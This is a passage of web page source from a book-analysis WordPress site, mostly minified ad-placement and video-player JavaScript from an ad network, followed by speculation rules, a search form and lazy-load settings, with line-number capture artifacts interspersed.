wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:typeof t==`number`?(t||0)/100:`control`}))}},kt=class{constructor(){s(this,`_clsOptions`,new c),s(this,`shouldUseCoreExperimentsConfig`,!1)}setExperimentKey(e=!1){this._clsOptions.setExperiment(this.abgroup,this.result,e)}},At=class extends kt{constructor(){super(),s(this,`key`,`SMRA`),s(this,`abgroup`,`smra1`),s(this,`_result`,!1),D()&&(this._result=this.run(),this.setExperimentKey())}run(){return new u(.05).get()}get result(){return this._result}};let Q=`250px`;var jt=class{constructor(t,n){this._clsOptions=t,this._adInjectionMap=n,s(this,`_recipeCount`,0),s(this,`_mainContentHeight`,0),s(this,`_mainContentDiv`,null),s(this,`_totalAvailableElements`,[]),s(this,`_densityElementCoords`,void 0),s(this,`_minDivHeight`,250),s(this,`_densityDevice`,I.Desktop),s(this,`_pubLog`,{onePerViewport:!1,targetDensity:0,targetDensityUnits:0,combinedMax:0}),s(this,`_smallerIncrementAttempts`,0),s(this,`_absoluteMinimumSpacingByDevice`,250),s(this,`_usedAbsoluteMinimum`,!1),s(this,`_infPageEndOffset`,0),s(this,`locationMaxLazySequence`,new Map([[e.Recipe,5]])),s(this,`locationToMinHeight`,{Below_Post:Q,Content:Q,Recipe:Q,Sidebar:Q}),s(this,`_device`,void 0),s(this,`_smallMobileRecipeAdsExperimentEnabled`,void 0),s(this,`_clsTargetAdDensitySiteExperiment`,void 0);let{tablet:r,desktop:i}=this._clsOptions.siteAds.breakpoints;this._device=Ie(r,i),this._smallMobileRecipeAdsExperimentEnabled=new At().result,this._isSmallMobileRecipeAdLocation(e.Recipe)&&(this.locationToMinHeight.Recipe=`100px`),this._clsTargetAdDensitySiteExperiment=this._clsOptions.siteAds.siteExperiments?new Ot(this._clsOptions):null}start(){try{var e;De(this._device);let n=new Dt(this._clsOptions);if(n.enabled){let e=n.result,t=e.startsWith(`.`)?e.substring(1):e;if(Ye(t))try{document.body.classList.add(t)}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,`Uncaught CSS Class error: ${e}`)}else F.error(`ClsDynamicAdsInjector`,`start`,`Invalid class name: ${t}`)}let r=Ce(this._device,this._clsOptions.siteAds).filter(e=>this._locationEnabled(e)).filter(e=>Te(e,this._device)).filter(e=>Ee(e)),i=this.inject(r),a=this._clsOptions.siteAds.adOptions.stickyContainerConfig;if(!(a==null||(e=a.content)==null)&&e.enabled&&!B(a.blockedSelectors||[],this._logInvalidBlockedSelector.bind(this))){var t;qe(a==null||(t=a.content)==null?void 0:t.minHeight)}
2884i.forEach(e=>this._clsOptions.setInjectedSlots(e))}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,e)}}inject(t,n=document){this._densityElementCoords=void 0,this._densityDevice=this._device===`desktop`?I.Desktop:I.Mobile,this._overrideDefaultAdDensitySettingsWithSiteExperiment();let r=this._clsOptions.siteAds,i=k(r.adDensityEnabled,!0),a=r.adDensityLayout&&i,o=t.filter(t=>a?t.location!==e.Content:t),s=t.filter(t=>a?t.location===e.Content:null),c=s.length?this._preserveDensityMeasurements(s,n):!1;return this._capturePreSlotInsertionPageAreaMeasurement(),[...o.length?this._injectNonDensitySlots(o,n):[],...s.length?this._injectDensitySlots(s,n,c):[]]}_injectNonDensitySlots(t,n=document){var r;let i=[],a=[],o=!1;if(t.some(t=>t.location===e.Recipe&&t.sticky)&&!B(((r=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:r.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))){var s,c;let t=this._clsOptions.siteAds.adOptions.stickyContainerConfig;Je(this._isSmallMobileRecipeAdLocation(e.Recipe)?100:this._device===`phone`?t==null||(s=t.recipeMobile)==null?void 0:s.minHeight:t==null||(c=t.recipeDesktop)==null?void 0:c.minHeight),o=!0}for(let e of t)this._insertNonDensityAds(e,i,a,n);return o||a.forEach(({location:e,element:t})=>{t.style.minHeight=this.locationToMinHeight[e]}),i}_isSmallMobileRecipeAdLocation(e){return this._smallMobileRecipeAdsExperimentEnabled&&A(e,this._device)}_injectDensitySlots(e,t=document,n=!1){try{n||(this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords())}catch{return[]}let{onePerViewport:r,targetAll:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=this._getDensitySettings(e,t);return this._absoluteMinimumSpacingByDevice=r?window.innerHeight:this._absoluteMinimumSpacingByDevice,s?(this._adInjectionMap.filterUsed(),this._findElementsForAds(s,r,i,o,a,t),this._insertAds()):[]}_preserveDensityMeasurements(e,t=document){try{return this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords(),!0}catch{return!1}}_overrideDefaultAdDensitySettingsWithSiteExperiment(){var e;if((e=this._clsTargetAdDensitySiteExperiment)!=null&&e.enabled){let e=this._clsTargetAdDensitySiteExperiment.result;typeof e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=Ne({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return e.offsetHeight>=this._mainContentHeight&&this._totalAvailableElements.length>1}_elementDisplayNone(e){let t=window.getComputedStyle(e,null).display;return t&&t===`none`||e.style.display===`none`}_isBelowMaxes(e,t){return this._adInjectionMap.map.length<e&&this._adInjectionMap.map.length<t}_findElementsForAds(e,t,n,r,i,a=document){this._clsOptions.targetDensityLog={onePerViewport:t,combinedMax:r,targetDensityUnits:i,targetDensityPercentage:this._pubLog.targetDensity,mainContentHeight:this._mainContentHeight,recipeCount:this._recipeCount,numberOfEls:this._totalAvailableElements.length};let o=t=>{for(let{dynamicAd:o,element:s}of this._totalAvailableElements)if(this._logDensityInfo(s,o.elementSelector,t),!(!n&&this._elementLargerThanMainContent(s)||this._elementDisplayNone(s)))if(this._isBelowMaxes(r,i)){if(this._checkElementSpacing({dynamicAd:o,element:s,insertEvery:t,targetAll:n,target:a}),this._hasReachedQuota(e))return}else break;this._hasReachedQuota(e)||!this._usedAbsoluteMinimum&&this._smallerIncrementAttempts<5&&(++this._smallerIncrementAttempts,o(this._getSmallerIncrement(t)))};o(this._getInsertEvery(e,t,i))}_hasReachedQuota(e){return this._adInjectionMap.map.length>=e}_getSmallerIncrement(e){let t=Fe(e,this._absoluteMinimumSpacingByDevice);return this._usedAbsoluteMinimum=t.usedAbsoluteMinimum,t.insertEvery}
2884_insertNonDensityAds(t,n,r,i=document){let{spacing:a,nextAfter:o}=Me(t.spacing,window.innerHeight),s=0,c=this._repeatDynamicAds(t),l=this.getElements(t.elementSelector,i,t),u=this._shouldUseRegularSlotHeightForSpacing(t),d=a>0&&u?this._getElementSpacingBottoms(l):new Map,f=0;t.skip;for(let p=t.skip;p<l.length&&!(s+1>c.length);p+=t.every){let m=l[p];if(a>0){let e=u?(d.get(m)??R(m).bottom)+f:R(m).bottom;if(e<=o)continue;o=e+a}let h=c[s],g=`${h.location}_${h.sequence}`;n.some(e=>e.name===g)&&(s+=1);let _=this.getDynamicElementId(h),v=L(t),y=Oe(t),b=t.location===e.Sidebar&&t.sticky?Ke(h.sequence):``,ee=[t.location===e.Recipe&&t.sticky?`adthrive-recipe-sticky-container`:``,v,y,...t.classNames];if(Xe(m,t.position,t.location)&&t.location===e.Recipe)continue;let x=this.addAd(m,_,t.position,ee,b);if(x){let a=we(h,x);if(a.length){let o={clsDynamicAd:t,dynamicAd:h,element:x,sizes:a,name:g,infinite:i!==document};n.push(o),r.push({location:h.location,element:x}),t.location===e.Recipe&&++this._recipeCount,s+=1,u&&(f+=this._getRegularSlotSpacingHeight(h.location))}m=b&&x.parentElement||x}}}_shouldUseRegularSlotHeightForSpacing(t){var n;return t.location===e.Recipe&&t.sticky&&!B(((n=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:n.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))}_getElementSpacingBottoms(e){return Array.from(e).reduce((e,t)=>(e.set(t,R(t).bottom),e),new Map)}_getRegularSlotSpacingHeight(e){let t=parseInt(this.locationToMinHeight[e],10);return Number.isFinite(t)?t:this._minDivHeight}_insertAds(){let e=[],t=0;return this._adInjectionMap.filterUsed(),this._adInjectionMap.map.forEach(({el:n,dynamicAd:r,target:i},a)=>{let o=Number(r.sequence)+a,s=r.max,c=r.lazy&&o>s;r.sequence=o,r.lazy=c;let l=this._addContentAd(n,r,i);l&&(r.used=!0,e.push(l),++t)}),e}_getInsertEvery(e,t,n){let r=Pe({totalAvailableElements:this._totalAvailableElements.length,targetDensityUnits:n,numberOfUnits:e,mainContentHeight:this._mainContentHeight,absoluteMinimumSpacing:this._absoluteMinimumSpacingByDevice,viewportHeight:window.innerHeight,onePerViewport:t});return this._usedAbsoluteMinimum=r.usedAbsoluteMinimum,r.insertEvery}_logDensityInfo(e,t,n){let{onePerViewport:r,targetDensity:i,targetDensityUnits:a,combinedMax:o}=this._pubLog;this._totalAvailableElements.length}_checkElementSpacing({dynamicAd:e,element:t,insertEvery:n,targetAll:r,target:i}){(this._isFirstAdInjected()||this._hasProperSpacing(t,e,r,n))&&this._markSpotForContentAd(t,{...e},i)}_isFirstAdInjected(){return!this._adInjectionMap.map.length}_markSpotForContentAd(e,t,n=document){let r=t.position===`beforebegin`||t.position===`afterbegin`;this._adInjectionMap.addSorted(e,this._getElementCoords(e,r),t,n)}_hasProperSpacing(t,n,r,i){let a=n.position===`beforebegin`||n.position===`afterbegin`,o=n.position===`beforeend`||n.position===`afterbegin`,s=r||this._isElementFarEnoughFromOtherAdElements(t,i,a),c=o||this._isElementNotInRow(t,a),l=t.id.indexOf(`AdThrive_${e.Below_Post}`)===-1;return s&&c&&l}_isElementFarEnoughFromOtherAdElements(e,t,n){let r=this._getElementCoords(e,n),[i,a]=this._adInjectionMap.findNeighborIndices(r),o=i===null?void 0:this._adInjectionMap.map[i].coords,s=a===null?void 0:this._adInjectionMap.map[a].coords;return(o===void 0||r-t>o)&&(s===void 0||r+t<s)}_isElementNotInRow(e,t){let n=e.previousElementSibling,r=e.nextElementSibling,i=t?!n&&r||n&&e.tagName!==n.tagName?r:n:r;if(!i)return!0;let a=e.getBoundingClientRect();if(a.height===0)return!0;let o=i.getBoundingClientRect();return a.top!==o.top}_calculateMainContentHeightAndAllElements(e,t=document){let[n,r]=Ve(e,this._adInjectionMap,t);if(!n)throw Error(`No main content element found`);this._mainContentDiv=n,this._totalAvailableElements=r,this._mainContentHeight=He(this._mainContentDiv)}_captureDensityElementCoords(){this._densityElementCoords=this._totalAvailableElements.reduce((e,{element:t})=>(e.set(t,{bottom:this._getLiveElementCoords(t),top:this._getLiveElementCoords(t,!0)}),e),new WeakMap)}_capturePreSlotInsertionMainContentMeasurement(){window.adthriveCLS&&(window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.mainContentHeight=this._mainContentHeight:window.adthriveCLS.preSlotInsertionMeasurements={mainContentHeight:this._mainContentHeight})}_capturePreSlotInsertionPageAreaMeasurement(){if(window.adthriveCLS){let e=Ue()*We();window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.totalPageArea=e:window.adthriveCLS.preSlotInsertionMeasurements={totalPageArea:e}}}_getElementCoords(e,t=!1){var n;let r=(n=this._densityElementCoords)==null?void 0:n.get(e);return r?t?r.top:r.bottom:this._getLiveElementCoords(e,t)}_getLiveElementCoords(e,t=!1){let n=e.getBoundingClientRect();return(t?n.top:n.bottom)+window.scrollY}_addContentAd(e,t,n=document){var r;let i=null,a=L(t),o=Oe(t),s=this._clsOptions.siteAds.adOptions.stickyContainerConfig,c=s==null||(r=s.content)==null?void 0:r.enabled,l=c?`adthrive-sticky-container`:``,u=this.addAd(e,this.getDynamicElementId(t),t.position,[l,a,o,...t.classNames]);if(u){let e=we(t,u);if(e.length){var d;(!c||!(!(s==null||(d=s.content)==null)&&d.minHeight))&&(u.style.minHeight=this.locationToMinHeight[t.location]),i={clsDynamicAd:t,dynamicAd:t,element:u,sizes:e,name:`${t.location}_${t.sequence}`,infinite:n!==document}}}return i}getDynamicElementId(e){return`AdThrive_${e.location}_${e.sequence}_${this._device}`}getElements(e,t=document,n){let r=j(e,t);return r.valid,r.elements}_getDynamicAdSelectorContext(e){return{location:e.location,sequence:e.sequence,name:e.name}}_logInvalidBlockedSelector(e,t){}addAd(e,t,n,r=[],i=``){if(!document.getElementById(t)){let a=`<div id="${t}" class="adthrive-ad ${r.join(` `)}"></div>`;i&&(a=`<div class="${i}">${a}</div>`),e.insertAdjacentHTML(n,a)}return document.getElementById(t)}_repeatDynamicAds(t){let n=[],r=t.location===e.Recipe?99:this.locationMaxLazySequence.get(t.location),i=t.lazy?k(r,0):0,a=t.max,o=t.lazyMax,s=i===0&&t.lazy?a+o:Math.min(Math.max(i-t.sequence+1,0),a+o),c=Math.max(a,s);for(let e=0;e<c;e++){let r=Number(t.sequence)+e,i=t.lazy&&e>=a,o=r;t.name===`Recipe_1`&&r>=5&&(o=r+1),n.push({...t,sequence:o,lazy:i})}return n}_locationEnabled(e){let t=this._clsOptions.enabledLocations.includes(e.location),n=this._clsOptions.disableAds&&this._clsOptions.disableAds.all||document.body.classList.contains(`adthrive-disable-all`),r=!document.body.classList.contains(`adthrive-disable-content`)&&!this._clsOptions.disableAds.reasons.has(`content_plugin`);return t&&!n&&r}},Mt=class{constructor(){s(this,`_map`,[])}add(e,t,n,r=document){this._map.push({el:e,coords:t,dynamicAd:n,target:r})}addSorted(e,t,n,r=document){let i=this._upperBoundIndex(t);this._map.splice(i,0,{el:e,coords:t,dynamicAd:n,target:r})}get map(){return this._map}sort(){this._map.sort(({coords:e},{coords:t})=>e-t)}filterUsed(){this._map=this._map.filter(({dynamicAd:e})=>!e.used)}findNeighborIndices(e){let t=this._upperBoundIndex(e);return[t-1>=0?t-1:null,t<this._map.length?t:null]}_upperBoundIndex(e){let t=0,n=this._map.length;for(;t<n;){let r=t+n>>>1;this._map[r].coords<=e?t=r+1:n=r}return t}reset(){this._map=[]}},Nt=class extends Mt{};let Pt=e=>{let t=ne(),n=T(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i},Ft=e=>{let t=Pt(e);if(t){let e=t.profileId;document.body.classList.add(`raptive-profile-${e}`)}},$={Video_Collapse_Autoplay_SoundOff:`Video_Collapse_Autoplay_SoundOff`,Video_Indiv
2884idual_Autoplay_SOff:`Video_Individual_Autoplay_SOff`,Video_Coll_SOff_Smartphone:`Video_Coll_SOff_Smartphone`,Video_In_Post_ClicktoPlay_SoundOn:`Video_In-Post_ClicktoPlay_SoundOn`,Video_Collapse_Autoplay_SoundOff_15s:`Video_Collapse_Autoplay_SoundOff_15s`,Video_Individual_Autoplay_SOff_15s:`Video_Individual_Autoplay_SOff_15s`,Video_Coll_SOff_Smartphone_15s:`Video_Coll_SOff_Smartphone_15s`,Video_In_Post_ClicktoPlay_SoundOn_15s:`Video_In-Post_ClicktoPlay_SoundOn_15s`};var It=class{get enabled(){throw Error(`Enablement must be defined at factory creation time.`)}};let Lt=(e=navigator.userAgent)=>E(e)===`desktop`;var Rt=class extends It{constructor(e,t,n){super(),this._videoConfig=e,this._component=t,this._context=n,s(this,`_potentialPlayerMap`,void 0),s(this,`_device`,void 0),s(this,`_stickyRelatedOnPage`,!1),s(this,`_relatedMediaIds`,[]),this._device=Lt()?`desktop`:`mobile`,this._potentialPlayerMap=this.setPotentialPlayersMap()}setPotentialPlayersMap(){let e=this._videoConfig.players||[],t=this._filterPlayerMap();return t.stationaryRelated=this._getPotentialStationaryPlayers(e,t.stationaryRelated),this._potentialPlayerMap=t,this._potentialPlayerMap}_getPotentialStationaryPlayers(e,t){let n=new Set(t);return e.forEach(e=>e.type===`stationaryRelated`&&e.enabled&&n.add(e)),[...n]}_filterPlayerMap(){let e=this._videoConfig.players,t={stickyRelated:[],stickyPlaylist:[],stationaryRelated:[]};return e&&e.length?e.filter(e=>{var t;return(t=e.devices)==null?void 0:t.includes(this._device)}).reduce((e,t)=>{if(e[t.type]||(F.event(this._component,`constructor`,`Unknown Video Player Type detected`,t.type),e[t.type]=[]),t.enabled){let n=t.type;this._videoConfig.shouldDisableStickyRelated&&t.type===`stickyRelated`&&(n=`stationaryRelated`),e[n].push(t)}return e},t):t}_checkPlayerSelectorOnPage(e){for(let t of this._potentialPlayerMap[e]){let e=this._getPlacementElement(t);if(e)return{player:t,playerElement:e}}return{player:null,playerElement:null}}_getOverrideElement(e,t,n){if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}else{let{player:e,playerElement:t}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}}return n}_shouldOverrideElement(e){let t=e.getAttribute(`override-embed`);return t===`true`||t===`false`?t===`true`:this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.overrideEmbedLocation:!1}_checkPageSelector(e,t,n=[]){return e&&t&&n.length===0?(window.location.pathname!==`/`&&F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`PSNF: ${e} does not exist on the page`}),!1):!0}_getElementSelector(e,t,n){return t&&t.length>n?t[n]:(F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`ESNF: ${e} does not exist on the page`}),null)}_getPlacementElement(e){let{pageSelector:t,elementSelector:n,skip:r}=e,{valid:i,elements:a,...o}=P(t),{valid:s,elements:c,...l}=N(n);return t!==``&&!i?(F.error(`VideoUtils`,`getPlacementElement`,Error(`${t} is not a valid selector`),o),null):s?this._checkPageSelector(t,i,a)&&this._getElementSelector(n,c,r)||null:(F.error(`VideoUtils`,`getPlacementElement`,Error(`${n} is not a valid selector`),l),null)}_getEmbeddedPlayerType(e){if(this._videoConfig.shouldDisableStickyRelated)return`static`;let t=e.getAttribute(`data-player-type`);return(!t||t==="default")&&(t=this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.defaultPlayerType:`static`),this._stickyRelatedOnPage&&(t=`static`),t}_getMediaId(e){let t=e.getAttribute(`data-video-id`);return t?(this._relatedMediaIds.push(t),t):!1}_getOrientation(e){return e.getAttribute(`orientation`)===`vertical`?`vertical`:`horizontal`}_createRelatedPlayer(e,t,n,r,i){t===`collapse`?this._createCollapsePlayer(e,n):t===`static`&&this._createStaticPlayer(e,n,r,i)}_createCollapsePlayer(e,t){let{player:n,playerElement:r}=this._checkPlayerSelectorOnPage(`stickyRelated`),i=n||this._potentialPlayerMap.stationaryRelated[0];i&&i.playerId&&!this._videoConfig.shouldDisableStickyRelated?(this._shouldOverrideElement(t)&&(t=this._getOverrideElement(n,r,t)),t=document.querySelector(`#cls-v
2884ideo-container-${e} > div`)||t,this._createStickyRelatedPlayer({...i,mediaId:e},t)):F.error(this._component,`_createCollapsePlayer`,`No video player found`)}_createStaticPlayer(e,t,n,r){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId){let i=this._potentialPlayerMap.stationaryRelated[0];this._createStationaryRelatedPlayer({...i,mediaOrPlaylistId:e,orientation:r},t,n)}else F.error(this._component,`_createStaticPlayer`,`No video player found`)}_shouldRunAutoplayPlayers(){return!!(this._isVideoAllowedOnPage()&&(this._potentialPlayerMap.stickyRelated.length||this._potentialPlayerMap.stickyPlaylist.length))}_setPlaylistMediaIdWhenStationaryOnPage(e,t){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId&&e&&e.length){let n=e[0].getAttribute(`data-video-id`);return n?{...t,mediaId:n}:t}return t}_determineAutoplayPlayers(e){let t=this._component,n=t===`VideoManagerComponent`,r=this._context;if(this._stickyRelatedOnPage){F.event(t,`stickyRelatedOnPage`,n&&{device:r&&r.device,isDesktop:this._device}||{});return}let{playerElement:i}=this._checkPlayerSelectorOnPage(`stickyPlaylist`),{player:a}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);a&&a.playerId&&i?(a=this._setPlaylistMediaIdWhenStationaryOnPage(e,a),this._createPlaylistPlayer(a,i)):Math.random()<.01&&setTimeout(()=>{F.event(t,`noStickyPlaylist`,n&&{vendor:`none`,device:r&&r.device,isDesktop:this._device}||{})},1e3)}_initializeRelatedPlayers(e){let t=new Map;for(let n=0;n<e.length;n++){let r=e[n],i=r.offsetParent,a=this._getEmbeddedPlayerType(r),o=this._getMediaId(r),s=this._getOrientation(r);if(i&&o){let e=(t.get(o)||0)+1;t.set(o,e),this._createRelatedPlayer(o,a,r,e,s)}}}},zt=class extends Rt{constructor(e,t){super(e,`ClsVideoInsertion`),this._videoConfig=e,this._clsOptions=t,s(this,`_IN_POST_SELECTOR`,`.adthrive-video-player`),s(this,`_WRAPPER_BAR_HEIGHT`,36),s(this,`_playersAddedFromPlugin`,[]),t.removeVideoTitleWrapper&&(this._WRAPPER_BAR_HEIGHT=0)}init(){this._initializePlayers()}_wrapVideoPlayerWithCLS(e,t,n=0,r=`horizontal`){if(e.parentNode){let i=e.offsetWidth,a=r===`vertical`;a&&this._device===`desktop`&&(i*=.5);let o=i*(a?16/9:9/16),s=this._createGenericCLSWrapper(o,t,n);return e.parentNode.insertBefore(s,e),s.appendChild(e),s}return null}_createGenericCLSWrapper(e,t,n){let r=document.createElement(`div`);return r.id=`cls-video-container-${t}`,r.className=`adthrive`,r.style.minHeight=`${e+n}px`,r}_getTitleHeight(){let e=document.createElement(`h3`);e.style.margin=`10px 0`,e.innerText=`Title`,e.style.visibility=`hidden`,document.body.appendChild(e);let t=window.getComputedStyle(e),n=parseInt(t.height,10),r=parseInt(t.marginTop,10),i=parseInt(t.marginBottom,10);return document.body.removeChild(e),Math.min(n+i+r,50)}_initializePlayers(){let e=document.querySelectorAll(this._IN_POST_SELECTOR);e.length&&this._initializeRelatedPlayers(e),this._shouldRunAutoplayPlayers()&&this._determineAutoplayPlayers(e)}_createStationaryRelatedPlayer(e,t,n){let r=this._device===`mobile`?[400,225]:[640,360],i=$.Video_In_Post_ClicktoPlay_SoundOn;if(t&&e.mediaOrPlaylistId){let a=`${e.mediaOrPlaylistId}_${n}`,o=this._wrapVideoPlayerWithCLS(t,a,0,e.orientation);this._playersAddedFromPlugin.push(e.mediaOrPlaylistId),o&&this._clsOptions.setInjectedVideoSlots({playerId:e.playerId,playerName:i,playerSize:r,element:o,type:`stationaryRelated`})}}_createStickyRelatedPlayer(e,t){if(this._videoConfig.shouldDisableStickyRelated)return;let n=this._device===`mobile`?[400,225]:[640,360],r=$.Video_Individual_Autoplay_SOff;if(this._stickyRelatedOnPage=!0,this._videoConfig.mobileStickyPlayerOnPage=this._device===`mobile`,this._videoConfig.collapsiblePlayerOnPage=!0,t&&e.position&&e.mediaId){let i=document.createElement(`div`);t.insertAdjacentElement(e.position,i);let a=this._getTitleHeight(),o=this._wrapVideoPlayerWithCLS(i,e.mediaId,this._WRAPPER_BAR_HEIGHT+a);this._playersAddedFromPlugin.push(e.mediaId),o&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:n,playerName:r,element:i,type:`stickyRelated`})}}_createPlaylistPlayer(e,t){let n=e.playlistId,r=this._device===`mobile`?$.Video_Coll_SOff_Smartphone:$.Video_Collapse_Autoplay_SoundOff,i=this._device===`mobile`?[400,225]:[640,360];this._videoConfig.mobileStickyPlayerOnPage=!0,this._videoConfig.collapsiblePlayerOnPage=!0;let a=document.createElement(`div`);t.insertAdjacentElement(e.position,a);let o=this._WRAPPER_BAR_HEIGHT;e.title&&(o+=this._getTitleHeight());let s=this._wrapVideoPlayerWithCLS(a,n,o);this._playersAddedFromPlugin.push(`playlist-${n}`),s&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:i,playerName:r,element:a,type:`stickyPlaylist`})}_isVideoAllowedOnPage(){let e=this._clsOptions.disableAds;if(e&&e.video){let t=``;e.reasons.has(`video_plugin`)?t=`video plugin`:e.reasons.has(`video_page`)&&(t=`command queue`);let n=t?`ClsVideoInsertionMigrated`:`ClsVideoInsertion`;return F.error(n,`isVideoAllowedOnPage`,Error(`DBP: Disabled by publisher via ${t||`other`}`)),!1}return!this._clsOptions.videoDisabledFromPlugin}};try{(()=>{let e=new c;
2884!e||!e.enabled||(e.siteAds&&Ft(e.siteAds),new jt(e,new Nt).start(),new zt(new fe(e),e).init())})()}catch(e){F.error(`CLS`,`pluginsertion-iife`,e),window.adthriveCLS&&(window.adthriveCLS.injectedFromPlugin=!1)}})();</script>
2884<script data-no-optimize="1" data-cfasync="false">(function () {var clsElements = document.querySelectorAll("script[id^='cls-']"); window.adthriveCLS && clsElements && clsElements.length === 0 ? window.adthriveCLS.injectedFromPlugin = false : ""; })();</script>
2884<script type="speculationrules"> 2885{"prerender":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/generatepress_child/*","/wp-content/themes/generatepress/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prerender, .no-prerender a"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"moderate"}]} 2886</script>
vendor: 1 bytes, line 2886
2886
2887<script type="rocketlazyloadscript" id="generate-a11y"> 2888!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("pointerdown",(function(){e.classList.add("using-mouse")}),{passive:!0}),e.addEventListener("keydown",(function(){e.classList.remove("using-mouse")}),{passive:!0})}}(); 2889</script>
2889 2890 <div class="gp-modal gp-search-modal" id="gp-search" role="dialog" aria-modal="true" aria-label="Search"> 2891 <div class="gp-modal__overlay" tabindex="-1" data-gpmodal-close> 2892 <div class="gp-modal__container"> 2893 <form role="search" method="get" class="search-modal-form" action="https://bookanalysis.com/"> 2894 <label for="search-modal-input" class="screen-reader-text">Search for:</label> 2895 <div class="search-modal-fields"> 2896 <input id="search-modal-input" type="search" class="search-field" placeholder="Search …" value="" name="s" /> 2897 <button aria-label="Search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg></span></button> 2898 </div> 2899 </form>
2900 </div> 2901 </div> 2902 </div> 2903 <div class='asp_hidden_data' id="asp_hidden_data" style="display: none !important;"> 2904 <svg style="position:absolute" height="0" width="0"> 2905 <filter id="aspblur"> 2906 <feGaussianBlur in="SourceGraphic" stdDeviation="4"/> 2907 </filter> 2908 </svg> 2909 <svg style="position:absolute" height="0" width="0"> 2910 <filter id="no_aspblur"></filter> 2911 </svg> 2912 </div> 2913 <div id="toc-sticky-hooks-content" style="display:none;"> 2914 <div id="toc-sticky-before-title"> 2915 </div> 2916 <div id="toc-sticky-after-title"> 2917 </div> 2918 <div id="toc-sticky-after-content"> 2919 </div> 2920</div>
2920<script id="generate-offside-js-extra"> 2921var offSide = {"side":"left"}; 2922//# sourceURL=generate-offside-js-extra 2923</script>
vendor: 1 bytes, line 2923
2923
2924<script type="rocketlazyloadscript" id="generate-offside-js" data-rocket-src="https://bookanalysis.com/wp-content/plugins/gp-premium/menu-plus/functions/js/offside.min.js?ver=2.5.6" data-rocket-defer defer></script>
vendor: 1 bytes, line 2924
2924
2925<script id="eio-lazy-load-js-before"> 2926var eio_lazy_vars = {"bg_min_dpr":1.1,"exactdn_domain":"cdn.bookanalysis.com","safe_domains":["bookanalysis.com","www.bookanalysis.com","cdn.bookanalysis.com"],"skip_autoscale":0,"threshold":0,"use_dpr":1}; 2927//# sourceURL=eio-lazy-load-js-before 2928</script>
vendor: 1 bytes, line 2928
2928
